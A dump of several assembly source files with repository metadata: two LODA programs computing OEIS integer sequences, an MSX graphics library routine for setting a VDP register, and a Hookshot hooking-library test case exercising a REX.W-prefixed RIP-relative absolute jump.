; A257170: Expansion of (1 + x) * (1 + x^3) / (1 + x^4) in powers of x. ; 1,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1,0,1,0,-1,0,-1,0,1 lpb $0 mov $2,1 lpb $0 sub $0,8 lpe mod $0,2 lpe pow $0,$2 mov $1,$0
55.230769
563
0.454039
46f69d09e58edc0185a23cf132d5dd71e11bec6d
536
asm
Assembly
libsrc/msx/set_vdp_reg.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/msx/set_vdp_reg.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/msx/set_vdp_reg.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; ; MSX specific routines ; ; GFX - a small graphics library ; Copyright (C) 2004 Rafael de Oliveira Jannone ; ; void set_vdp_reg(int reg, int value); ; ; Write data to a VDP register ; ; $Id: set_vdp_reg.asm,v 1.5 2016/06/16 19:30:25 dom Exp $ ; SECTION code_clib PUBLIC set_vdp_reg PUBLIC _set_vdp_reg EXTERN msxbios INCLUDE "msxbios.def" set_vdp_reg: _set_vdp_reg: pop hl pop de pop bc push bc ; register push de ; value push hl ; RET address push ix ld b,e ld ix,WRTVDP call msxbios pop ix ret
14.888889
58
0.690299
bbda61d63e78af97594010a3451907deee3bb8c4
1,052
asm
Assembly
programs/oeis/192/A192968.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/192/A192968.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/192/A192968.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A192968: Coefficient of x in the reduction by x^2 -> x+1 of the polynomial p(n,x) defined at Comments. ; 0,1,1,3,7,16,33,64,118,210,364,619,1038,1723,2839,4653,7597,12370,20103,32626,52900,85716,138826,224773,363852,588901,953053,1542279,2495683,4038340,6534429,10573204,17108098,27681798,44790424,72472783,117263802,189737215,307001683,496739601,803742025,1300482406,2104225251,3404708518,5508934672,8913644136,14422579798,23336224969,37758805848,61095031945,98853838969,159948872139,258802712383,418751585848,677554299609,1096305886888,1773860187982,2870166076410,4644026265988,7514192344051,12158218611750,19672410957571,31830629571151,51503040530613,83333670103717,134836710636346,218170380742143,353007091380634,571177472124988,924184563507900,1495362035635234,2419546599145549,3914908634783268,6334455233931373 mov $3,$0 mov $5,$0 lpb $3,1 mov $0,$5 sub $3,1 sub $0,$3 mov $2,8 mov $4,8 sub $4,$0 cal $0,97135 ; a(0) = 1; for n>0, a(n) = 3*Fibonacci(n). sub $0,1 add $0,$4 add $2,$0 mov $4,$2 sub $4,16 add $1,$4 lpe
50.095238
713
0.782319
5784a5725f351394acf9e6ed7cc6abba8586d79d
1,752
asm
Assembly
Source/Test/Case/HookSetSuccess/JumpAbsolutePositionRelativeRexW.asm
samuelgr/Hookshot
cf6e0fa6c273fcac087e0c0a97097433736e72ab
[ "BSD-3-Clause" ]
4
2021-01-10T22:25:31.000Z
2022-01-11T16:55:25.000Z
Source/Test/Case/HookSetSuccess/JumpAbsolutePositionRelativeRexW.asm
samuelgr/Hookshot
cf6e0fa6c273fcac087e0c0a97097433736e72ab
[ "BSD-3-Clause" ]
2
2021-01-11T11:23:47.000Z
2021-05-12T05:26:30.000Z
Source/Test/Case/HookSetSuccess/JumpAbsolutePositionRelativeRexW.asm
samuelgr/Hookshot
cf6e0fa6c273fcac087e0c0a97097433736e72ab
[ "BSD-3-Clause" ]
2
2020-10-02T03:07:50.000Z
2021-12-29T14:42:25.000Z
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Hookshot ; General-purpose library for injecting DLLs and hooking function calls. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Authored by Samuel Grossman ; Copyright (c) 2019-2021 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; INCLUDE TestDefinitions.inc ; This test is only valid in 64-bit mode; as written, it will crash in 32-bit mode. ; It exercises RIP-relative addressing for loading an absolute jump target from memory and adds a REX.W to the jump instruction, which the encoder might remove. ; If the encoder removes the prefix, without further compensation on the part of Hookshot the transplanted jump displacement will be wrong (off by one byte). ; Should the transplanted displacement be off, the jump target will also be off (in this case filled with 1s), likely leading to a program crash. ; Hook function does nothing special for this test. _TEXT SEGMENT BEGIN_HOOKSHOT_TEST_FUNCTION JumpAbsolutePositionRelativeRexW_Original IFDEF HOOKSHOT64 rexw jmp SIZE_T PTR [$jumpTargetAbsolute] ENDIF ud2 ud2 $return: mov sax, scx ret REPEAT 25 BYTE 255 ENDM $jumpTargetAbsolute: SIZE_T $return REPEAT 35 BYTE 255 ENDM END_HOOKSHOT_TEST_FUNCTION JumpAbsolutePositionRelativeRexW_Original BEGIN_HOOKSHOT_TEST_FUNCTION JumpAbsolutePositionRelativeRexW_Hook mov sax, scx shl sax, 1 ret END_HOOKSHOT_TEST_FUNCTION JumpAbsolutePositionRelativeRexW_Hook _TEXT ENDS END
30.736842
160
0.605594